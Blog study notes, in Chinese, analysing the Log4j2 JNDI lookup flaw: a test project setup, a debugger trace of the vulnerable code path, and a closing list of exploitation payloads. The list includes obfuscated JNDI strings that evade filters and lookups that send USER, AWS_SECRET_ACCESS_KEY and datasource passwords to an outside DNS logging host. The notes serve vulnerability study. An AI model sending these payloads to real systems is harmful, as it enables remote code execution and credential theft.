玩命加载中 . . .

log4j2漏洞学习笔记


环境搭建

maven环境

<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>

  <groupId>top.lnng.log4j2</groupId>
  <artifactId>log4j2</artifactId>
  <version>1.0-SNAPSHOT</version>
  <packaging>jar</packaging>

  <name>log4j2</name>
  <url>http://maven.apache.org</url>

  <properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
  </properties>

  <dependencies>
    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-core</artifactId>
      <version>2.14.1</version>
    </dependency>
    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-api</artifactId>
      <version>2.14.1</version>
    </dependency>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>3.8.1</version>
      <scope>test</scope>
    </dependency>
  </dependencies>
  <build>
    <plugins>
      <plugin>
        <groupId>org.apache.maven.plugins</groupId>
        <artifactId>maven-compiler-plugin</artifactId>
        <configuration>
          <source>8</source>
          <target>8</target>
        </configuration>
      </plugin>
    </plugins>
  </build>
</project>

log4j2.xml

<?xml version="1.0" encoding="UTF-8"?>

<configuration status="info">
  <Properties>
    <Property name="pattern1">[%-5p] %d %c - %m%n</Property>
    <Property name="pattern2">
      =========================================%n 日志级别:%p%n 日志时间:%d%n 所属类名:%c%n 所属线程:%t%n 日志信息:%m%n
    </Property>
    <Property name="filePath">logs/myLog.log</Property>
  </Properties>
  <appenders> <Console name="Console" target="SYSTEM_OUT">
    <PatternLayout pattern="${pattern1}"/>
  </Console> <RollingFile name="RollingFile" fileName="${filePath}"
               filePattern="logs/$${date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz">
    <PatternLayout pattern="${pattern2}"/>
    <SizeBasedTriggeringPolicy size="5 MB"/>
  </RollingFile>
  </appenders>
  <loggers>
    <root level="info">
      <appender-ref ref="Console"/>
      <appender-ref ref="RollingFile"/>
    </root>
  </loggers>
</configuration>

测试类

public class App {
    public static void main(String[] args) {
        Logger logger = LogManager.getLogger(LongFunction.class);
        String username = "${jndi:ldap://127.0.0.1:8085/GFxElmpt}";
        logger.info("User {} login in!", username);
    }
}

环境整体结构

upload successful

调试分析

不停的的下断点定位触发位置
发现i为7的时候有执行

upload successful
步进查看

upload successful
判断是否是 Log4j2 的 lookups 功能,我们是有的,继续下走,判断workingBuilder 中是否存在 ${,存在进行截取,然后进行 replace()方法

upload successful

upload successful
跟进 replace() 方法看看

upload successful

upload successful

upload successful
一直步进找业务逻辑,substitute前面都是赋值,只需要关心我们payload的变化就行。
while循环读取将 ${} 中间的内容取出来

upload successful
然后会再次进入substitute,传入的buf没有${}了

upload successful
步进resolveVariable函数

upload successful
resolveVariable里面调用了lookup,继续跟进,最终在jndiManager.lookup调用

upload successful
jndiManager lookup调用this.context的,JndiManagerFactory 来创建 JndiManager

upload successful
看下JndiManagerFactory

upload successful
创建InitialContext 实例,返回一个JndiManager对象

JndiManager就是最终触发的位置,后面就是jndi注入的问题了

  1. 先判断内容中是否有${},然后截取${}中的内容,得到我们的恶意payload jndi:xxx
  2. 后使用:分割payload,通过前缀来判断使用何种解析器去lookup
  3. 支持的前缀包括 date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j

利用payload

${jndi:ldap://127.0.0.1:8085/GFxElmpt}
${jnd${upper:ı}:ldap://[127.0.0.1]]/mESHFnWc} jndi要开389

${jnd${upper:\u0131}:ldap://[127.0.0.1]]/KWhsLxIC}

upload successful
${${qax:-j${qax-::qax::-n}}${lower:${upper:d}}${upper:ı}:ldap://127.0.0.1:8086/mhStyxHU}
${jndi:ldap://${env:USER}.dnslog.cn}
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.dnslog.cn}
${jndi:ldap://${java:version}.u2xf5m.dnslog.cn}
${bundle:application:spring.datasource.password}


文章作者: Lmg
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Lmg !
  目录